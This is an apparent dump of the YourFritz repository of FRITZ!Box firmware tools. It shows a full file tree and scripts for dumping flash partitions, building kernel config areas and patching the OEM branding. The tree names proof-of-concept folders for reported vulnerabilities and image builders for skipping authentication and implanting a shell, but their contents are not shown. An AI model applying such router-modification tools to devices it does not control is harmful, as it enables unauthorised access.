├── .gitattributes ├── .gitignore ├── .gitmodules ├── LICENSE ├── PSScriptAnalyzerSettings.psd1 ├── PeterPawn.asc ├── README.md ├── YourFritz.asc ├── addons ├── .gitattributes └── VR9 │ ├── shellinabox.squashfs │ └── shellinabox.squashfs.sig ├── autoupdate ├── README.md ├── check_signed_image ├── dump_firmware ├── juis_check ├── run_update ├── save_system.sh └── update_firmware ├── avm_kernel_config ├── LICENSE ├── Makefile ├── README.md ├── avm_kernel_config_helpers.c ├── avm_kernel_config_helpers.h ├── avm_kernel_config_macros.h ├── dump_kernel_config.sh ├── extract_avm_kernel_config.c ├── gen_avm_kernel_config.c ├── get_area_size.sh ├── patches │ ├── 901-Makefile.patch │ └── 902-kernel_config_macros.patch └── unpack_kernel.sh ├── bootmanager ├── .update-timestamp.conf ├── .update-timestamp.sh ├── Bootmanager.png ├── README.md ├── TODO.md ├── add_change_oem.sh ├── add_to_system_reboot.sh ├── bootmanager ├── bootmanager.msg ├── bootmanager.service ├── bootmanager.service.old ├── bootmanager_html ├── bootmanager_server ├── extract_version_values ├── js_patch_0708.sed ├── lua_patch_0708.sed ├── lua_patch_pre0708.sed └── yf_custom_environment.sh ├── csharp └── hexdump.cs ├── customconfig ├── README.md ├── bin │ ├── custom_config │ │ ├── functions │ │ ├── initialize │ │ ├── lazy_countdown │ │ ├── link_to_export │ │ ├── monitor │ │ ├── shutdown │ │ ├── writer │ │ └── yf_helpers │ └── xz_comp └── etc │ ├── custom_config.conf │ └── init.d │ ├── E99-custom │ ├── S02-config │ ├── S03-early-syslogd │ ├── S03-path │ ├── S20-config │ └── S50-rdate ├── eva_tools ├── .gitattributes ├── Discovery.cs ├── EVA-Discover.ps1 ├── EVA-FTP-Client.ps1 ├── EVA_FTP.cs ├── FTPClient.cs ├── FTPtoEVA.ps1 ├── README.md ├── Using_EVA_Discovery_Class.cs ├── build_in-memory_image ├── eva_discover ├── eva_get_environment ├── eva_reboot ├── eva_store_tffs ├── eva_switch_system ├── eva_switch_system_no_discovery ├── eva_to_memory ├── functions ├── image2ram ├── prepare_jffs2_image ├── profile.ps1 └── yf_helpers ├── export ├── .config ├── checksum ├── compose ├── crc32.c ├── crc32.sh ├── crc32_box.sh ├── decompose ├── download_change_upload ├── fritzbox ├── hexdump ├── multipart_form └── testvalue ├── fit_tools ├── fit-add-avm-header.sh ├── fit-findfs.sh ├── fit-get-image-from-blockdevice.sh ├── fit-remove-avm-header.sh └── fitdump.sh ├── framework ├── feature_database.xml ├── feature_database.xsd ├── get_feature_list ├── implant_public_key ├── pack_squashfs └── unpack_squashfs ├── helpers ├── E99-custom ├── functions ├── multipart_form ├── rc.template ├── yf_helpers └── yourfritz_helpers ├── juis ├── README.md ├── README_de.md ├── juis_check └── juis_pubkey.pem ├── led ├── led_gpio_pins.cfg └── led_puma6 ├── luavar ├── queries.lua ├── set.lua └── vpn_status.lua ├── mitmproxy-ca.pem ├── patch_kernel ├── 900-patchkernel_source ├── patch_kernel_7560_skbuff_sk_checks ├── patch_kernel_7580_skbuff_sk_checks ├── patch_kernel_7590_skbuff_sk_checks ├── patch_kernel_VR9_skbuff_sk_checks ├── src2patch.sh └── yf_patchkernel.c ├── reported_threats ├── 460241 │ ├── .gitattributes │ ├── FakeBPjMList.ps1 │ └── README.md ├── 480894 │ └── README.md ├── 499102 │ └── README.md ├── 515119 │ ├── DoS.html │ ├── README.md │ └── firmwarecfg-takedown.sh ├── 515123 │ └── README.md ├── 796851 │ └── README.md ├── 982308 │ ├── .gitattributes │ ├── InjectCommandViaUpdateURL.ps1 │ └── README.md ├── 20160913-1636 │ ├── README.md │ ├── build_wrong_tffs_image │ ├── malformed_name_table │ └── malformed_tffs_image.bin ├── 20160915-1225 │ └── README.md ├── CID3830401 │ └── README.md ├── CID4167055 │ └── README.md ├── README.md ├── unnumbered_25012015_01 │ └── README.md └── unnumbered_25012015_02 │ └── README.md ├── scriptlib ├── README.md ├── functions │ ├── yf_base32.function │ ├── yf_base32_decode.function │ ├── yf_base64.function │ ├── yf_base64_decode.function │ ├── yf_bin2dec.function │ ├── yf_bin2hex.function │ ├── yf_bridge_interfaces.function │ ├── yf_cmdline.function │ ├── yf_count_of.function │ ├── yf_dec2hex.function │ ├── yf_endianess.function │ ├── yf_endianess_by_routing_table.function │ ├── yf_find_mountpoint.function │ ├── yf_format_ipv6_address.function │ ├── yf_fritzos_login_hash.function │ ├── yf_fritzos_model_settings.function │ ├── yf_fritzos_partition_device_name.function │ ├── yf_from_right.function │ ├── yf_get_bridge.function │ ├── yf_get_bridge_members.function │ ├── yf_get_default_gateway_address.function │ ├── yf_get_default_gateway_interface.function │ ├── yf_get_first_host_in_subnet.function │ ├── yf_get_fritzos_partition_by_name.function │ ├── yf_get_fritzos_partition_by_number.function │ ├── yf_get_fstype_for_mountpoint.function │ ├── yf_get_ip_address.function │ ├── yf_get_ipv6_address.function │ ├── yf_get_last_host_in_subnet.function │ ├── yf_hex2bin.function │ ├── yf_hex2dec.function │ ├── yf_index.function │ ├── yf_index_of.function │ ├── yf_initialize_ringbuffer.function │ ├── yf_ipv4_address.function │ ├── yf_is_bridge_interface.function │ ├── yf_is_bridge_member.function │ ├── yf_is_decimal.function │ ├── yf_is_fritzos_device.function │ ├── yf_is_hexadecimal.function │ ├── yf_is_mountpoint_writable.function │ ├── yf_is_wireless_interface.function │ ├── yf_lowercase.function │ ├── yf_mktemp.function │ ├── yf_network_interfaces.function │ ├── yf_pack.function │ ├── yf_print_ip.function │ ├── yf_random_string.function │ ├── yf_readable_size.function │ ├── yf_reverse_hex.function │ ├── yf_storage_devices.function │ ├── yf_str2hex.function │ ├── yf_string_compare.function │ ├── yf_substring.function │ ├── yf_sysfs.function │ ├── yf_trim.function │ ├── yf_uppercase.function │ ├── yf_wireless_interfaces.function │ └── yf_word_of.function ├── multipart_form ├── yf_helpers └── yourfritz_helpers ├── signimage ├── FirmwareImage.ps1 ├── README.md ├── avm_pubkey_to_pkcs8 ├── check_signed_image ├── database │ └── extract_version_values ├── generate_signing_key ├── key_database.xml ├── key_database.xsd ├── run_signature_tests ├── show_signature_problem ├── sign_image ├── test_signature_problem ├── yf_check_signature ├── yf_genkey ├── yf_mod2der ├── yf_sign └── yf_signimage.conf ├── squashfs ├── 020-definite_streams_for_displayed_text.patch ├── 021-change_device_nodes_handling.patch ├── 029-makefile_windows.patch └── README.md ├── tffs ├── TFFS.cs ├── build_tffs_image ├── counter_to_tffs ├── data │ ├── nametable │ ├── nametable_@L │ ├── nametable_@M │ ├── nametable_@N │ └── tffs.files ├── dissect_tffs_dump ├── environment_to_tffs ├── fritzos_scripts │ ├── create_nametable │ ├── tbackup │ ├── tcat │ ├── tdel │ ├── tinstall │ ├── tlist │ ├── tlist.files │ └── tvi ├── functions ├── name_table_from_tffs ├── nametable_to_tffs ├── tffs_add_file ├── tffs_from_supportdata ├── yf_custom_environment.sh └── yf_helpers ├── toolbox ├── build_add_user_image ├── build_reset_tainted_image ├── build_shellinabox_implant_image ├── build_skip_auth_image ├── image │ ├── extract_version_values │ ├── get_file_from_image │ └── mount_image └── scripts │ ├── add_startup_script │ ├── add_user_to_fritzos │ ├── copy_payload │ ├── rc.shellinaboxd │ └── skip_auth_from_homenetwork ├── tools ├── README.md ├── alive_start.sh ├── get_page ├── juis_check ├── juischeckupdate ├── parseJSON ├── reboot_fritzos.sh ├── resetsigned ├── rle_decode.c ├── showcertchain ├── telnetd_by_avm ├── unique_id ├── waitconnected └── waittimeset ├── tr-064 ├── GetConfigFile.ps1 ├── README.md ├── SetUpgradesManaged.ps1 └── WoLbyMAC.ps1 ├── update_yaffs2 ├── install_inactive_rootfs ├── mountall └── update_yaffs2 ├── www.yourfritz.de.png ├── yourfritz_icon.png └── yourfritz_logo.png /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text eol=lf 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | 19 | # firmware image files (tar archives) 20 | *.image binary 21 | *.png binary 22 | *.tar archive 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /.vscode 2 | *.code-workspace 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "first_aid"] 2 | path = first_aid 3 | url = https://github.com/PeterPawn/first_aid.git 4 | [submodule "bin"] 5 | path = bin 6 | url = https://github.com/PeterPawn/yf_bin.git 7 | [submodule "dtc"] 8 | path = dtc 9 | url = https://github.com/PeterPawn/dtc.git 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzerSettings.psd1: -------------------------------------------------------------------------------- 1 | @{ 2 | ExcludeRules = @('PSAvoidUsingPlainTextForPassword') 3 | } -------------------------------------------------------------------------------- /YourFritz.asc: -------------------------------------------------------------------------------- 1 | 00b4074ef52e5c44f3a1eca1bd8eb3b5f217b82eaa23641adf50ca5bb98f3538ac706a5bb5f15def942bc352f3cd1cdf4ba1f47bc66863d95ecc7576d4f6d6729d396056e8fdf5d2ff5998ff33559104e07934e0c944d764bb881708ed73c0df0b948a9659de65c9940a9f537fcd1450bcdffe5a76f6b8d298ef89c3ce895f9361 2 | 010001 3 | -------------------------------------------------------------------------------- /addons/.gitattributes: -------------------------------------------------------------------------------- 1 | # this folder and its subfolders contain only binary data 2 | * binary 3 | -------------------------------------------------------------------------------- /addons/VR9/shellinabox.squashfs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/addons/VR9/shellinabox.squashfs -------------------------------------------------------------------------------- /addons/VR9/shellinabox.squashfs.sig: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/addons/VR9/shellinabox.squashfs.sig -------------------------------------------------------------------------------- /autoupdate/README.md: -------------------------------------------------------------------------------- 1 | # Proof of concept 2 | 3 | Add an option for automatic updates during system reboot to '/var/post_install' - this script is called, while a FRITZ!OS based 4 | device is preparing to restart. 5 | 6 | This version may be controlled by the presence or absence of named files on the internal NAS storage. It may be used to detect 7 | and download a newer firmware version from vendor and to modify this firmware prior to its installation. The "branding" (a special 8 | value in the bootloader environment) may be auto-adjusted to a value supported in the new firmware, if necessary. 9 | 10 | There's a writing (in German) in an IPPF thread regarding the files in this subfolder: 11 | 12 | 13 | -------------------------------------------------------------------------------- /autoupdate/check_signed_image: -------------------------------------------------------------------------------- 1 | ../signimage/check_signed_image -------------------------------------------------------------------------------- /autoupdate/dump_firmware: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0-or-later 2 | $SHELL /var/media/ftp/save_system.sh 3 | rpc $SHELL /var/media/ftp/save_system.sh 4 | led-ctrl filesystem_mount_failure 5 | tar -c -v -f /var/media/ftp/saved_firmware.tar /var/media/ftp/ARM /var/media/ftp/ATOM 6 | led-ctrl filesystem_done 7 | -------------------------------------------------------------------------------- /autoupdate/juis_check: -------------------------------------------------------------------------------- 1 | ../juis/juis_check -------------------------------------------------------------------------------- /autoupdate/save_system.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | ringbuffer=savesystem 4 | rm /var/.srb_$ringbuffer 5 | nand=/var/media/ftp 6 | logfile() { showshringbuf -i $ringbuffer; } 7 | log() { echo "$*" | logfile; } 8 | save_part() 9 | { 10 | local dev="$1" content="$2" version="$3" fn rc 11 | fn=${content}_$version 12 | cat $dev >$TD/$fn 13 | rc=$? 14 | [ $rc -eq 0 ] && log "Successfully saved $dev to $TD/$fn" || log "Error $rc saving $dev to $TD/$fn" 15 | } 16 | if [ "$CONFIG_PRODUKT" == "Fritz_Box_HW213a" ]; then 17 | core=ARM 18 | ledon="update_running" 19 | ledoff="update_no_action" 20 | else 21 | if [ "$CONFIG_PRODUKT" == "Fritz_Box_HW213x" ]; then 22 | core=ATOM 23 | ledon="wlan_starting" 24 | ledoff="wlan_on" 25 | else 26 | log "Unknown hardware revision $CONFIG_PRODUKT" 27 | exit 1 28 | fi 29 | fi 30 | TD=$nand/$core 31 | led-ctrl $ledon 32 | log "Waiting for NAND flash to appear ..." 33 | while true; do 34 | mode=$(sed -n -e "s|^[^ ]* $nand .* \(r.\),.*|\1|p" /proc/mounts) 35 | [ x"$mode" == x"rw" ] && break 36 | log "Still waiting until NAND flash storage is mounted read/write" 37 | sleep 10 38 | done 39 | log "NAND flash is mounted now on $nand" 40 | rm -r $TD 41 | mkdir -p $TD 42 | log "Saving serial flash content:" 43 | logfile $TD/${MTD}_$NAME 49 | log "Copying /dev/$MTD to $TD/${MTD}_$NAME done, rc=$?" 50 | done 51 | log "Saving serial flash done" 52 | log "Saving kernel and filesystem partitions" 53 | mp=/var/tmp/savesystem.mp 54 | mkdir -p $mp 55 | dmesg | grep "/dev/mmcblk.*logical:.*$core" | sed -n -e "s|.*\(/dev/mmcblk.*\) logical: \(.*\)|DEV=\1 CONTENT=\2|p" | 56 | while read line; do 57 | eval $line 58 | echo "$CONTENT" | grep -q "_reserved_" && stat="inactive" || stat="active" 59 | CONTENT=$(echo "$CONTENT" | sed -e "s/_reserved//") 60 | echo "$CONTENT" | grep -q "filesystem" 61 | if [ $? -eq 0 ]; then 62 | mount -t squashfs -o ro $DEV $mp 63 | rc=$? 64 | if [ $rc -eq 0 ]; then 65 | version=$($mp/etc/version --version) 66 | vdate=$($mp/etc/version --date) 67 | project=$($mp/etc/version --project) 68 | umount $mp 69 | rc=$? 70 | [ $rc -ne 0 ] && log "Error $rc unmounting $DEV from $mp" 71 | version=$version${project+-$project} 72 | log "Device $DEV contains $stat $CONTENT with version $version created at $vdate" 73 | save_part $DEV $CONTENT $version 74 | else 75 | log "Error $rc mounting $DEV to $mp - skip kernel and filesystem partition" 76 | version="unknown" 77 | fi 78 | else 79 | [ "$version" != "unknown" ] && save_part $DEV $CONTENT $version 80 | fi 81 | done 82 | rmdir $mp 83 | showshringbuf $ringbuffer >$TD/logfile 84 | rm /var/.srb_$ringbuffer 85 | led-ctrl $ledoff -------------------------------------------------------------------------------- /autoupdate/update_firmware: -------------------------------------------------------------------------------- 1 | ## Check semaphore to avoid 2nd call 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | if ! [ -e /var/run/post_install_2nd_run ]; then 4 | if [ -f /var/media/ftp/run_update ]; then 5 | touch /var/run/post_install_2nd_run 6 | exec $SHELL /var/media/ftp/run_update 7 | fi 8 | fi 9 | -------------------------------------------------------------------------------- /avm_kernel_config/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # project 3 | # 4 | BASENAME := avm_kernel_config 5 | # 6 | # target binary 7 | # 8 | BINARIES := gen_$(BASENAME) extract_$(BASENAME) 9 | # 10 | # source files 11 | # 12 | HELPER_SRCS = $(BASENAME)_helpers.c 13 | BIN_SRCS = gen_$(BASENAME).c extract_$(BASENAME).c 14 | # 15 | # header files 16 | # 17 | HELPER_HDRS = $(BASENAME)_helpers.h 18 | BIN_HDRS = ./linux/include/uapi/linux/$(BASENAME).h $(BASENAME)_macros.h 19 | # 20 | # object files 21 | # 22 | HELPER_OBJS = $(HELPER_SRCS:%.c=%.o) 23 | BIN_OBJS = $(BIN_SRCS:%.c=%.o) 24 | # 25 | # tools 26 | # 27 | CC = gcc 28 | RM = rm 29 | AR = ar 30 | RANLIB = ranlib 31 | # 32 | # libfdt (from kernel sources, subdir 'scripts/dtc/libfdt') 33 | # 34 | LIBFDT = libfdt 35 | LIBFDT_LOC = ./linux/scripts/dtc/$(LIBFDT) 36 | LIBFDT_LIB = $(LIBFDT_LOC)/$(LIBFDT).a 37 | LIBS += $(LIBFDT_LIB) 38 | include $(LIBFDT_LOC)/Makefile.$(LIBFDT) 39 | LIBFDT_INCS = $(addprefix $(LIBFDT_LOC)/, $(LIBFDT_INCLUDES)) 40 | LIBFDT_NAMES = $(basename $(LIBFDT_SRCS)) 41 | LIBFDT_SRC2 = $(addsuffix .c, $(addprefix $(LIBFDT_LOC)/, $(LIBFDT_NAMES))) 42 | LIBFDT_OBJS = $(LIBFDT_SRC2:%.c=%.o) 43 | # 44 | # flags for calling the tools 45 | # 46 | CFLAGS += -static -std=c99 -m32 -ggdb 47 | LDFLAGS += -static -m32 48 | $(BIN_OBJS) $(HELPER_OBJS): CFLAGS += -O2 -W -Wall 49 | # 50 | # how to build objects from sources 51 | # 52 | %.o: %.c 53 | $(CC) $(CFLAGS) -I$(LIBFDT_LOC) -I. -I./linux/include -D__KERNEL__ -c $< -o $@ 54 | # 55 | # targets to make 56 | # 57 | .PHONY: all clean 58 | # 59 | all: $(BINARIES) 60 | # 61 | # the binaries 62 | # 63 | $(BINARIES): $(LIBFDT_LIB) $(HELPER_OBJS) $(BIN_OBJS) 64 | $(CC) $(LDFLAGS) -L. -o $@ $@.o $(HELPER_OBJS) $(LIBS) 65 | # 66 | # make static library 67 | # 68 | $(LIBFDT_LIB): $(LIBFDT_OBJS) 69 | -$(RM) $@ 2>/dev/null || true 70 | $(AR) rcu $@ $? 71 | $(RANLIB) $@ 72 | # 73 | # everything to make, if source files changed 74 | # 75 | $(LIBFDT_OBJS): $(LIBFDT_SRC2) $(LIBFDT_INCS) 76 | $(HELPER_OBJS): $(HELPER_SRCS) $(HELPER_HDRS) 77 | $(BIN_OBJS): $(BIN_SRCS) $(BIN_HDRS) $(HELPER_HDRS) 78 | # 79 | # cleanup 80 | # 81 | clean: 82 | -$(RM) *.o $(BINARIES) $(LIBFDT_LOC)/*.{o,a,so} 2>/dev/null || true 83 | -------------------------------------------------------------------------------- /avm_kernel_config/README.md: -------------------------------------------------------------------------------- 1 | # Create a `avm_kernel_config` section for own kernels on FRITZ!OS-based devices 2 | 3 | This folder contains some utilities to replace/recreate missing parts from AVM's open-source package. 4 | 5 | AVM invented a mechanism to initialize some internal structures at kernel startup from a model-specific part and there seems to be 6 | no way to get these sources from vendor - at least an explicit demand to provide them was more or less ignored. The sources pointed 7 | out in their answer didn't contain any changes regarding these missing parts. 8 | 9 | So one of the possible solutions was reverse engineering the content of this area and the files provided in this folder are a first 10 | approach to take this way. 11 | 12 | You can find further information in an IPPF thread (but it's in German only): 13 | 14 | 15 | 16 | If you want to compile the contained sources for a specific model, you have to provide a symlink named "linux" to the root of the 17 | correct kernel sources. The files "include/uapi/linux/avm_kernel_config.h" and the whole directory "scripts/dtc/libfdt" (from the 18 | OpenFirmware device-tree compiler) are the parts needed from current kernel sources. -------------------------------------------------------------------------------- /avm_kernel_config/avm_kernel_config_helpers.h: -------------------------------------------------------------------------------- 1 | // vim: set tabstop=4 syntax=c : 2 | // SPDX-License-Identifier: GPL-2.0-or-later 3 | #ifndef AVM_KERNEL_CONFIG_HELPERS_H 4 | #define AVM_KERNEL_CONFIG_HELPERS_H 5 | 6 | #ifdef FREETZ 7 | #include 8 | #else // FREETZ 9 | // ensure the uapi version gets included first 10 | #include "linux/include/uapi/avm/enh/fw_info.h" 11 | #include "linux/include/uapi/linux/avm_kernel_config.h" 12 | #endif // FREETZ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | struct memoryMappedFile 25 | { 26 | const char * fileName; 27 | const char * fileDescription; 28 | int fileDescriptor; 29 | struct stat fileStat; 30 | void * fileBuffer; 31 | bool fileMapped; 32 | }; 33 | 34 | bool openMemoryMappedFile(struct memoryMappedFile *file, const char *fileName, const char *fileDescription, int openFlags, int prot, int flags); 35 | void closeMemoryMappedFile(struct memoryMappedFile *file); 36 | bool detectInputEndianess(struct _avm_kernel_config * *configArea, size_t configSize, bool *swapNeeded); 37 | void swapEndianess(bool needed, uint32_t *ptr); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /avm_kernel_config/avm_kernel_config_macros.h: -------------------------------------------------------------------------------- 1 | /* vim: set tabstop=4 syntax=asm : */ 2 | /* SPDX-License-Identifier: GPL-2.0-or-later */ 3 | #ifndef _AVM_KERNEL_CONFIG_MACROS_H 4 | #define _AVM_KERNEL_CONFIG_MACROS_H 5 | 6 | .macro AVM_KERNEL_CONFIG_START 7 | .section "configarea", "a", %progbits 8 | .L_avm_kernel_config_first_byte: 9 | .endm 10 | 11 | .macro AVM_KERNEL_CONFIG_END 12 | .L_avm_kernel_config_last_byte: 13 | .endm 14 | 15 | .macro AVM_KERNEL_CONFIG_PTR 16 | .int .L_avm_kernel_config_entries 17 | .align 4 18 | .endm 19 | 20 | .macro AVM_KERNEL_CONFIG_ENTRY tag, label 21 | .int \tag 22 | .ifeq \tag 23 | .int 0 24 | .align 4 25 | .else 26 | .int .L_avm_\label 27 | .endif 28 | .endm 29 | 30 | .macro AVM_VERSION_INFO buildnumber, svnversion, firmwarestring 31 | .align 3 32 | .L_avm_version_info: 33 | 1: 34 | .ascii "\buildnumber" 35 | .zero 32 - (. - 1b) 36 | 2: 37 | .ascii "\svnversion" 38 | .zero 32 - (. - 2b) 39 | 3: 40 | .ascii "\firmwarestring" 41 | .zero 128 - (. - 3b) 42 | .endm 43 | 44 | .macro AVM_MODULE_MEMORY index, module, core_size, symbol_size, symbol_text_size 45 | .ifeq \index 46 | .int 0 47 | .int 0 48 | .int 0 49 | .int 0 50 | .else 51 | .pushsection "configareastrings", "a", %progbits 52 | .L_avm_module_memory_\index: 53 | .asciz "\module" 54 | .align 2 55 | .popsection 56 | .int .L_avm_module_memory_\index 57 | .int \core_size 58 | .int \symbol_size 59 | .int \symbol_text_size 60 | .endif 61 | .endm 62 | 63 | .macro AVM_DEVICE_TREE_BLOB subrevision 64 | .endm 65 | 66 | .macro AVM_DEVICE_TREE subrevision 67 | .int avm_kernel_config_tags_device_tree_subrev_\subrevision 68 | .int ._L_avm_device_tree_\subrevision 69 | .endm 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /avm_kernel_config/get_area_size.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | if [ -z "$1" ]; then 3 | printf "Provide the name of proper loader/linker script for your Linux kernel (usally a file named vmlinux.lds.S) as parameter.\n" 1>&2 4 | exit 1 5 | fi 6 | if [ "$(sed -n -e "/__avm_kernel_config_start = \.;/,/__avm_kernel_config_end = \.;/p" "$1" 2>/dev/null | wc -l)" = "3" ]; then 7 | sed -n -e "/__avm_kernel_config_start = \.;/,/__avm_kernel_config_end = \.;/p" "$1" | sed -n -e "2s/[ \t]*\. += \([0-9]*\) \* 1024;/\1/p" 8 | exit 0 9 | else 10 | printf "Unable to locate avm_kernel_config lines in the provided file or file does not exist.\n" 1>&2 11 | fi 12 | exit 1 13 | -------------------------------------------------------------------------------- /avm_kernel_config/patches/901-Makefile.patch: -------------------------------------------------------------------------------- 1 | --- linux-3.10/arch/mips/kernel/Makefile 2 | +++ linux-3.10/arch/mips/kernel/Makefile 3 | @@ -2,7 +2,7 @@ 4 | # Makefile for the Linux/MIPS kernel. 5 | # 6 | 7 | -extra-y := head.o vmlinux.lds 8 | +extra-y := head.o avm_kernel_config_area.o vmlinux.lds 9 | 10 | obj-y += cpu-probe.o branch.o entry.o genex.o idle.o irq.o process.o \ 11 | prom.o ptrace.o reset.o setup.o signal.o syscall.o \ 12 | -------------------------------------------------------------------------------- /avm_kernel_config/patches/902-kernel_config_macros.patch: -------------------------------------------------------------------------------- 1 | --- /dev/null 2016-09-29 20:37:18.937713454 +0200 2 | +++ linux-3.10/arch/mips/kernel/avm_kernel_config_macros.h 2016-10-06 16:23:30.489014326 +0200 3 | @@ -0,0 +1,67 @@ 4 | +/* vim: set tabstop=4 syntax=asm : */ 5 | +/* SPDX-License-Identifier: GPL-2.0-or-later */ 6 | +#ifndef _AVM_KERNEL_CONFIG_MACROS_H 7 | +#define _AVM_KERNEL_CONFIG_MACROS_H 8 | + 9 | + .macro AVM_KERNEL_CONFIG_START 10 | + .section "configarea", "a", %progbits 11 | +.L_avm_kernel_config_first_byte: 12 | + .endm 13 | + 14 | + .macro AVM_KERNEL_CONFIG_END 15 | +.L_avm_kernel_config_last_byte: 16 | + .endm 17 | + 18 | + .macro AVM_KERNEL_CONFIG_PTR 19 | + .int .L_avm_kernel_config_entries 20 | + .align 4 21 | + .endm 22 | + 23 | + .macro AVM_KERNEL_CONFIG_ENTRY tag, label 24 | + .int \tag 25 | + .ifeq \tag 26 | + .int 0 27 | + .align 4 28 | + .else 29 | + .int .L_avm_\label 30 | + .endif 31 | + .endm 32 | + 33 | + .macro AVM_VERSION_INFO buildnumber, svnversion, firmwarestring 34 | + .align 3 35 | +.L_avm_version_info: 36 | +1: 37 | + .ascii "\buildnumber" 38 | + .zero 32 - (. - 1b) 39 | +2: 40 | + .ascii "\svnversion" 41 | + .zero 32 - (. - 2b) 42 | +3: 43 | + .ascii "\firmwarestring" 44 | + .zero 128 - (. - 3b) 45 | + .endm 46 | + 47 | + .macro AVM_MODULE_MEMORY index, module, size 48 | + .ifeq \index 49 | + .int 0 50 | + .int 0 51 | + .else 52 | + .pushsection "configareastrings", "a", %progbits 53 | +.L_avm_module_memory_\index: 54 | + .asciz "\module" 55 | + .align 2 56 | + .popsection 57 | + .int .L_avm_module_memory_\index 58 | + .int \size 59 | + .endif 60 | + .endm 61 | + 62 | + .macro AVM_DEVICE_TREE_BLOB subrevision 63 | + .endm 64 | + 65 | + .macro AVM_DEVICE_TREE subrevision 66 | + .int avm_kernel_config_tags_device_tree_subrev_\subrevision 67 | + .int ._L_avm_device_tree_\subrevision 68 | + .endm 69 | + 70 | +#endif 71 | -------------------------------------------------------------------------------- /bootmanager/.update-timestamp.conf: -------------------------------------------------------------------------------- 1 | files="bootmanager" 2 | marker="yf_bootmanager_timestamp" 3 | -------------------------------------------------------------------------------- /bootmanager/.update-timestamp.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | . .update-timestamp.conf 3 | date="$(date +%Y%m%d%H%M)" 4 | for file in $files; do 5 | sed -e "s|^\($marker=\).*|\1$date|" -i $file 6 | done 7 | printf "Updated timestamp string (%s) to %s\n" "$marker" "$date" 8 | 9 | 10 | -------------------------------------------------------------------------------- /bootmanager/Bootmanager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/bootmanager/Bootmanager.png -------------------------------------------------------------------------------- /bootmanager/TODO.md: -------------------------------------------------------------------------------- 1 | # Planned enhancements 2 | 3 | ## for version 0.8.2: 4 | 5 | - ~correct detection of immutable 'firmware_version' settings from EVA~ 6 | - ~detection of other approaches to change an - otherwise immutable - 'firmware_version' value (`YF_CHANGE_OEM` and `yf_custom_environment`)~ 7 | - ~ability to set branding even for the other approaches above~ 8 | 9 | ## for version 0.8.3: 10 | 11 | - ~add (rudimental) support for IPQ8074 devices~ 12 | - ~add support for IPQ501x devices~ 13 | - ~add support for PRX300 devices~ 14 | 15 | ## for next version (0.9.x): 16 | 17 | - optionally save/download/restore of saved settings per system instance/partition set 18 | -------------------------------------------------------------------------------- /bootmanager/add_change_oem.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | TargetDir="${TARGET_DIR:+$TARGET_DIR/}" 4 | [ -z "$TMP" ] && TMP=$TMPDIR 5 | [ -z "$TMP" ] && printf "No TMPDIR or TMP setting found at environment, set it to a writable location.\a\n" 1>&2 && exit 1 6 | 7 | AddFile_Name="${TargetDir}etc/init.d/yf_change_oem.sh" 8 | AddFile_Content() 9 | { 10 | cat << 'EOT' 11 | #! /bin/true 12 | command -v __yf_cmdline 13 | __yf_unset_cmdline=$? 14 | if [ $__yf_unset_cmdline -ne 0 ]; then 15 | __yf_cmdline() 16 | ( 17 | ___kvset="$(grep -ao "[ ]\?$1=[^ ]*" /proc/cmdline | sed -n -e 1p)" 18 | [ ${#___kvset} -eq 0 ] && return 1 19 | ___value="$(expr "$___kvset" : "[ ]*$1=\(.*\)")" 20 | printf "%s\n" "$___value" 21 | ) 22 | fi 23 | __yf_cmdline "[Oo][Ee][Mm]" >/dev/null 2>&1 && for ___brand in $(for ___d in /etc/default.$CONFIG_PRODUKT/*; do printf "%s " "${___d#/etc/default*/}"; done); do [ "$___brand" = "$(__yf_cmdline "[Oo][Ee][Mm]")" ] && OEM=$___brand && break; done 24 | [ $__yf_unset_cmdline -ne 0 ] && unset __yf_cmdline 25 | unset __yf_unset_cmdline 26 | unset ___brand 27 | EOT 28 | } 29 | 30 | AddToFile_Name="${TargetDir}etc/init.d/rc.conf" 31 | AddToFile_Marker="# YF_CHANGE_OEM" 32 | AddToFile_Control() 33 | { 34 | cat << EOT 35 | /^[ \t]*export OEM\$/i\\ 36 | $AddToFile_Marker\\ 37 | [ -f /etc/init.d/yf_change_oem.sh ] && . /etc/init.d/yf_change_oem.sh 38 | EOT 39 | } 40 | 41 | if ! grep -q "^$AddToFile_Marker\$" "$AddToFile_Name" 2>/dev/null; then 42 | AddToFile_Control > "$TMP/add_change_oem.sed" 43 | sed -f "$TMP/add_change_oem.sed" "$AddToFile_Name" > "$AddToFile_Name.new" && mv "$AddToFile_Name.new" "$AddToFile_Name" 44 | rm "$TMP/add_change_oem.sed" 2>/dev/null 45 | AddFile_Content > "$AddFile_Name" 46 | fi 47 | -------------------------------------------------------------------------------- /bootmanager/bootmanager.service: -------------------------------------------------------------------------------- 1 | [Service] 2 | After=network.target 3 | 